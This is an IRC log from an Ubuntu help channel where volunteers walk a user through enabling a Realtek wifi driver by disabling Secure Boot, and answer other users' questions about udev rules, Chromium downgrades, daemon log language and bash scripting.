[19:31] <TJ-> this abperisasamy has generally been the prime mover for the best support
[19:31] <TJ-> tomreyn: oh, great! That was a fun investigation, although drawn-out!
[19:31] <TJ-> it was like taking layers of wrappings off a birthday present :)
 tomreyn: I eventually got 64 bit Ubuntu onto that machine... went back into the logs and did each step you and TJ- told me.  It worked PERFECTLY and all the data seems to be intact as well.
[19:31] <jeremy31> xEth0sx see https://gist.github.com/jeremyb31/e08fe3f177eea0cb623d0f9c4f554339 for commands
[19:32] <tomreyn> hehe indeed TJ-, much fun.
[19:32] <TJ-> tomreyn: especially when it's someone else's data!
[19:32] <tomreyn> :)
[19:36] <xEth0s2x> k i'm back
[19:37] <xEth0s2x> anyone know if i can get the on board realtek card running?
[19:37] <jeremy31> xEth0s2x in terminal> lspci -nnk | grep -iA3 net | nc termbin.com 9999
[19:38] <TJ-> Are you using the code from : remote.origin.url=https://github.com/abperiasamy/rtl8812AU_8821AU_linux.git
[19:38] <jeremy31> xEth0s2x post the URL
[19:38] <xEth0s2x> kk
[19:39] <xEth0s2x> http://termbin.com/enk3
[19:40] <xEth0s2x> tj- when i installed the driver for the netgear i installed from the gui under software updater. not sure where it got the code
[19:41] <xEth0s2x> either card is fine (usb card or the onboard. i'd rather have the onboard working obv but, i'll take what i can get.
[19:42] <TJ-> xEth0s2x: ok, which release of Ubuntu is it, and what does this report "uname -r" ?
[19:42] <xEth0s2x> 17.10
[19:42] <xEth0s2x> 4.13.0-37-generic
[19:43] <TJ-> xEth0s2x: the correct driver for that internal PCI device is: /lib/modules/4.15.0-12-generic/modules.alias:20015:alias pci:v000010ECd0000B822sv*sd*bc*sc*i* r8822be
[19:43] <ioria> TJ-, 4.15 ?
[19:43] <jeremy31> xEth0s2x see https://gist.github.com/jeremyb31/8687eec6ea7f9dca9e71a24aab197f0e
[19:43] <xEth0s2x> alright, tyvm. can i apt-get install for it?
[19:44] <jeremy31> xEth0s2x you can add support using Larry Finger's github rtlwifi-new extended branch
[19:44] <TJ-> xEth0s2x: that modules (r8822be) isn't in the 4.13 kernel but it is in the 4.15 kernel which we have in 18.04 Bionic. On 16.04 there's a package to install the 4.15 kernel, but I don't think there's a similar package in 17.10 to pull in the 18.04 kernel
[19:45] <TJ-> xEth0s2x: the preference would be to install an Ubuntu-packaged kernel that supports the device
[19:45] <xEth0s2x> sucks to be a linux newb lol
[19:45] <ioria> xEth0sx, please, can you paste    ubuntu-drivers list    output
[19:46] <xEth0s2x> yes i can one sec
[19:47] <TJ-> xEth0s2x: one option might be to do an early release-upgrade from 17.10 to 18.04, which is due for release at the end of April. That'd bring in the 4.15 kernel.
[19:47] <xEth0s2x> rtl8812au-dkms
[19:47] <ioria> didn't know ubuntu got realtek proprietary drivers
[19:47] <jeremy31> rtl8812au-dkms is an Ubuntu package with dkms faults
[19:48] <xEth0s2x> tj- i can try that. i saw the betas were out
[19:48] <jeremy31> xEth0s2x or run the commands at https://gist.github.com/jeremyb31/8687eec6ea7f9dca9e71a24aab197f0e
[19:48] <xEth0s2x> k i'm on it
[19:50] <xEth0s2x> ty guys btw
[19:51] <xEth0s2x> k build essential installing. running through my phone for internet so a bit slow lol
[19:52] <TJ-> jeremy31: but the rtl8812au is for USB device not PCI
[19:53] <TJ-> xEth0s2x: the rtl8812au-dkms will drive the USB device but not te built-in PCI device (which is the 8812be)
[19:53] <jeremy31> TJ they might have that listed for the USB
[19:53] <TJ-> jeremy31: correct
[19:53] <jeremy31> TJ the github is a better choice for the USB as the dkms works
[19:53] <TJ-> xEth0s2x: for the 8812be an upgrade to 18.04 Bionic would give you the 4.15 linux kernel that supports the PCI device
[19:54] <TJ-> jeremy31: yes, I know, I've been hacking on that code for a long time :)
[19:55] <jeremy31> TJ why is it not fixed?  I posted a comment with the fix on a rtl8812au-dkms bug report
[19:55] <TJ-> jeremy31: I have no idea! I've raised the issue many times, but as with many things Canonical, they love the shiny new but can't be bothered with following up
[19:57] <xEth0s2x> the comp having the issues is my kids laptop i felt bad lol. 15 years old and i talked him into trying linux. then i broke it lol
[19:58] <xEth0s2x> i've had no problems at all with ubuntu on my comp
[19:58] <jeremy31> xEth0s2x You also posted on ubuntuforums.org?
[19:58] <xEth0s2x> yes i did
[19:58] <xEth0s2x> couple days ago got no response
[19:59] <xEth0s2x> jeremy- install completed
[19:59] <jeremy31> xEth0s2x One reply from praseodym an hour ago.  I am a moderator there.  You can reboot it
[19:59] <xEth0s2x> what do i need to do next?
[19:59] <xEth0s2x> kk
[19:59] <xEth0s2x> brb
[20:03] <blackmatrix_ny> Hi Everyone...Im trying to install hostapd but it won't find the package. I was searching for the ppa but couldn't find it. Can you please help
[20:04] <TJ-> should have just done modprobe, or re-plugged the USB device!
[20:05] <xEth0s3x> still showing no wireless card detected
[20:05] <xEth0s3x> "no wifi adapter found" under settings i mean
[20:06] <jeremy31> xEth0s2x Is secure boot disabled in UEFI/BIOS?  try> sudo modprobe rtl8822be
[20:06] <xEth0s3x> secure boot should be disabled
[20:07] <xEth0s3x> modprobe is giving me the required key not available error like secure boot is enabled lol
[20:08] <jeremy31> xEth0s2x That would be a big sign that it is enabled yet
[20:08] <xEth0s3x> ikr lol
[20:08] <Younder> Does NVIDIA sign it's drivers with a sha256 hash these days. I seem to have secure boot disabled, but I have a feeling this is no longer necessary.
[20:08] <xEth0s3x> disabled it on install
[20:09] <xEth0s3x> k ill try diabling it again
[20:09] <jeremy31> xEth0s3x see what this says> mokutil --sb-state
[20:09] <Kristine> is there any way to get netplan to use point-to-point routing ? it's required by my host
[20:10] <IsFunny> Hey everyone. I am trying to boot my pc but i only get a black screen after bios. Not even grub. Any ideas?
[20:14] <TJ-> IsFunny: Does tapping Esc key whilst GRUB is starting display it's menu?
[20:23] <laptop_> hi i need help finding a speech command via microphone app for linux
[20:30] <jeremy31> xEth0s2x I already replied to your forum post
[20:30] <xEth0s2x> kk
[20:31] <cvdd43> ohh
[20:32] <jeremy31> xEth0s2x The rtl8812au-dkms doesn't support your USB device, I would> sudo apt-get purge rtl8812au-dkms
[20:32] <xEth0s2x> kk
[20:32] <xEth0s2x> i installed pastebinit
[20:32] <xEth0s2x> or ran whichever
[20:32] <jeremy31> xEth0s2x Do you still have the gist links I posted earlier?
[20:33] <xEth0s2x> not sure the proper way on posting to the forums though
[20:33] <xEth0s2x> jeremy- lost when i rebooted
[20:33] <jeremy31> xEth0s2x Post the info I asked for on the post, we can go from there
[20:34] <xEth0s2x> kk bud ty
[20:34] <xEth0s2x> found how to add the code tags
[20:35] <jeremy31> xEth0s2x https://gist.github.com/jeremyb31/e08fe3f177eea0cb623d0f9c4f554339 and https://gist.github.com/jeremyb31/8687eec6ea7f9dca9e71a24aab197f0e
[20:35] <TJ-> for the rtl8812au driver you can add the vendor:product IDs to it if it doesn't have them already
[20:36] <xEth0s2x> jeremy-  mokutil state shows secure boot enabled
[20:39] <jeremy31> xEth0s2x That has to be changed in BIOS/UEFI so the drivers can load, otherwise only TJ's idea of switching to the 4.15 kernel will work for the internal wifi
[20:40] <xEth0s2x> kk. whichever is fine for me. gimme a min.
[20:40] <xEth0s2x> id be up for uograding to 18.04 on my comp if its possible before release
[20:41] <jeremy31> xEth0s2x try in terminal> sudo update-secureboot-policy
[20:41] <jeremy31> see if that allows you to disable, I think I used it once
[20:44] <Younder> xEth0s2x, I'm running 18.04 in a virtual machine and it seems to work fine now. As a general rule it is better to wait to i'ts out of beta. Better still to wait to July when a .1 bug patch seems to surface.
[20:45] <tomreyn> a "point release"
[20:45] <jeremy31> xEth0s2x https://wiki.manjaro.org/index.php?title=UEFI_-_Disable_Secure_Boot might help
[20:45] <pos> jeremy31, will fuck up bitlocker if he's dual booting
[20:52] <jeremy31> If they could just get Secure Boot disabled the wifi would work
[20:55] <xEth0sx> looking for the option in bios settings to disable secure boot not finding it
[20:56] <jeremy31> xEth0sx Likely in a somewhat hidden boot option or security menu
[20:56] <xEth0sx> kk
[20:57] <xEth0sx> found it
[20:58] <jeremy31> xEth0sx awesome
[20:59] <xEth0sx> k what was that modprobe command u gave me earlier
[21:00] <xEth0sx> the name of the driver i mean
[21:00] <xEth0sx> lol
[21:00] <jeremy31> xEth0sx It should load > sudo modprobe -v rtl8822be
[21:01] <xEth0sx> rtl8812be nlt found in directory
[21:01] <xEth0sx> *not
[21:01] <jeremy31> rtl8822be
[21:01] <xEth0sx> oops
[21:02] <xEth0sx> rebooting
[21:03] <xEth0sx> dude ty it worked
[21:04] <jeremy31> xEth0sx Hope your kid likes it
[21:04] <xEth0sx> me too hoping im making a future comp nerd lol
[21:05] <xEth0sx> had so many issues with win 10 whough it sucked
[21:05] <jeremy31> I only use Win 10 at work, I don't really like it
[21:05] <xEth0sx> i wiped it from my comp within 4 hours of buying the machine lol
[21:06] <xEth0sx> i'm aspiring to work my way into a linux job. gonna take some stufy time though still such a newb
[21:06] <xEth0sx> *study
[21:06] <jeremy31> xEth0sx Win 8 didn't last that long on this Lenovo
[21:06] <Younder> jeremy31, If you do things like mechanical CAD there isn't much choice. There is VariCAD and that's about it.
[21:07] <Younder> Otherwise desktop software for Linux is mostly on par with windows.
[21:07] <xEth0sx> there  way to go head and upgrade this one to 18.04?
[21:08] <veeru> Hello
[21:08] <debkad> hi
[21:08] <xEth0sx> hola
[21:08] <xEth0sx> howdy
[21:10] <veeru> where are you guys from? :-)
[21:10] <debkad> from my home
[21:10] <veeru> hey, me too
[21:10] <xEth0sx> oklahoma, usa
[21:10] <debkad> :D
[21:10] <jeremy31> Are you sure we are all guys?
[21:11] <veeru> Me from India :-)
[21:11] <xEth0sx> geez what a sausage fest ;)
[21:11] <jeremy31> !ot | veeru
[21:16] <jeremy31> xEth0sx I added some to the forum post so that it is complete
[21:29] <skinux> Actually, I'm not following any tutorial,. I received help from those in #nginx, but it's outside of their scope now.
[21:41] <monery> greetings ubuntu channel
[21:42] <monery> does anyone offer support, its more of a question about 18.04?
[21:42] <wewlad> hello
[21:42] <wewlad> do daemons write logs using system locale?
[21:43] <monery> I think I am in the wrong channel
[21:43] <wewlad> by default, I mean
[21:43] <lotuspsychje> monery: #ubuntu+1 please
[21:43] <monery> I noticed after /topic, thx lotuspsychje
[22:07] <JawshBawx> Hello world
[22:13] <cako> hello guys... i have a problem with two USB devices. They keep switching doors every time i reboot, sometimes ttyACM1 and sometimes ttyACM0, my application goes crazy...
[22:13] <cako> have any way to leave these ports default by some hardware ID? Thanks
[22:13] <cako> 16.04 :)
[22:14] <leftyfb> cako: yes, look into udev rules
[22:19] <TJ-> cako: easiest is an additional /etc/udev/rules.d/my-ttyACMs.rule that creates dedicated symlinks for each device of the form /dev/ttyMyACM1 pointing to the /dev/ttyACM? node that is being generated by the kernel. Make the rule match on the unique attributes of each device such as a MAC address or serial number, so your symlinks are always for the correct device even when the kernel node names change
[22:22] <JawshBawx> I have an interesting issue. I have a lenovo "Thinkpad" yoga 11e 3rd Gen (never again), integrated intel graphics, 4gz ram. I can install 14.04 just fine, but 16.04 or above, I get an issue with both the keyboard and touchpad not working at all. It seems to be stuck in some tabet mode or something because the touchscreen works, but then it bugs out when I try to type or use the mouse. Everything works on Windows and on 14.04 though,
[22:22] <JawshBawx> These issues occur after install and when I'm running the live iso
[22:23] <cako> thx leftyfb TJ-
[22:35] <bencc> is it possible to install a previous version of chromium package?
[22:35] <bencc> I'm trying to install chromium version 64.0.3282.140-0ubuntu0.16.04.1
[22:39] <lotuspsychje> bencc: downgrade isnt possible mate
[22:39] <lotuspsychje> bencc: whats wrong with your chromium?
[22:40] <FishPencil> Is there any way to get CFIS to behave properly with Windows permissions? CFIS doesn't seem to be aware of Windows permissions at all
[22:41] <bencc> lotuspsychje: there is a bug in chromium 65. not sure we need to go to specifics
[22:41] <bencc> lotuspsychje: why can't I uninstall 65 and install 64?
[22:48] <lotuspsychje> bencc: we reccomend using package versions for your ubuntu version
[22:48] <lotuspsychje> bencc: or try !backports or snaps
[22:51] <igrom> !backports
[22:51] <igrom> !packaging
[22:52] <bencc> lotuspsychje: chromium 64 was the stable package few days ago. Chromium 65 is missing h264 in webrtc
[22:52] <bencc> lotuspsychje: that's why I'm trying to install chromium 64
[22:52] <bencc> lotuspsychje: do you want to see the bug?
[22:53] <TJ-> bencc: you can download/install the .deb files manually from the LP build server, e.g. https://launchpad.net/~canonical-chromium-builds/+archive/ubuntu/stage/+build/14304844
[22:54] <TJ-> bencc: the list of published packages itself starts at https://launchpad.net/ubuntu/+source/chromium-browser/+publishinghistory
[22:54] <bencc> I'll try it thanks
[22:57] <bencc> I'll probably have a problem with chromium webdriver too
[23:02] <wewlad> what language do daemons wrute their logs in?
[23:02] <wewlad> write*
[23:05] <guiverc> wewlad, if i understand your question; the language is whatever the coder used.  logs aren't usually big in words, but figures/abbreviations that often don't match with any language
[23:05] <wewlad> guiverc: don't daemons respect system locale?
[23:07] <guiverc> wewlad, they generally spit out short brief 'IN=00D7BA' type logs; to make them language specific would increased code size by heaps, slow down execution etc... it'd be a waste of resources
[23:07] <TJ-> wewlad: it depends if the code is written to use the translation functionality, and where the PO files for translation are available in the locale's language
[23:08] <guiverc> being consistent regardless of language also makes it easier to make scripts/codes to examine logs as they know what text to search for... (the same regarldess of language used)
[23:08] <wewlad> do you guys have any prooflinks? I failed to find any
[23:08] <digby> i am running fluxbox, lightdm and docky on ubuntu server. i have installed idesk and want it to show the icons for files in a "desktop" folder. is there an easy way to do this? or should i use a different program to idesk for this task?
[23:09] <digby> i basically want the desktop icons to work the same way as windows, dragging things from my file manager to the desktop and such
[23:14] <TJ-> digby: that's generally the realm of a desktop environment
[23:16] <jmgb4> Hey fellas. Does anybody use pciepassthrogh to game with ubuntu?
[23:32] <guzzlefry> Was Skype removed from 16.04?
[23:35] <kostkon> guzzlefry, you need to download it from skype.com
[23:35] <agio> I think skype is in canonical partners repo
[23:35] <guzzlefry> It doesn't appear to be in that repo.
[23:35] <kostkon> agio, even if it is, it's a very old version that does not work/connect to skype network anymore
[23:36] <Guest34818> hi
[23:36] <agio> kostkon: ah, ok makes sense
[23:36] <guzzlefry> This looks like an Electron app...
[23:37] <Guest34818> if i want to check if the given arguments to the script are more than 2 can i use [ $# -gt 2 ]
[23:37] <kostkon> guzzlefry, microsoft's way of making it multiplatform
[23:38] <guzzlefry> welp, can't wait to install another messaging app that eats up a gig of RAM... :P
[23:38] <agio> 1GB ?! that sucks
[23:39] <kostkon> guzzlefry, in the 200-300mb range more like
[23:39] <Guest34818> #bash
[23:39] <SlidingHorn> Guest34818, if [[ $# -gt 2 ]]; then    OR   if test "$#" -gt 2; then
[23:40] <guzzlefry> oh, that's reasonable. the Slack app is a memory hog.
[23:40] <SlidingHorn> oops Guest34818 double quote the $# in the first example, my bad
[23:41] <Guest34818> [ "$#" -gt 2 ] && echo "error" >&2
[23:42] <Guest34818> will it bring bug if the first argument is a path
[23:43] <SlidingHorn> that I don't know...not much of a scripter myself.
[23:43] <SlidingHorn> Guest34818, you can ask in #bash though
[23:45] <Guest34818> ok thankyou
[23:45] <Guest34818> :)
[23:59] <FutureShock> Does anyone know if there is a good firewall app for ubuntu, that has a good GUI and can block/allow individual apps as well as ports, IPs, protocols, etc?   I've been used to using Comodo Firewall on Windows which very user friendly, and hoping to find something (even remotely) like it.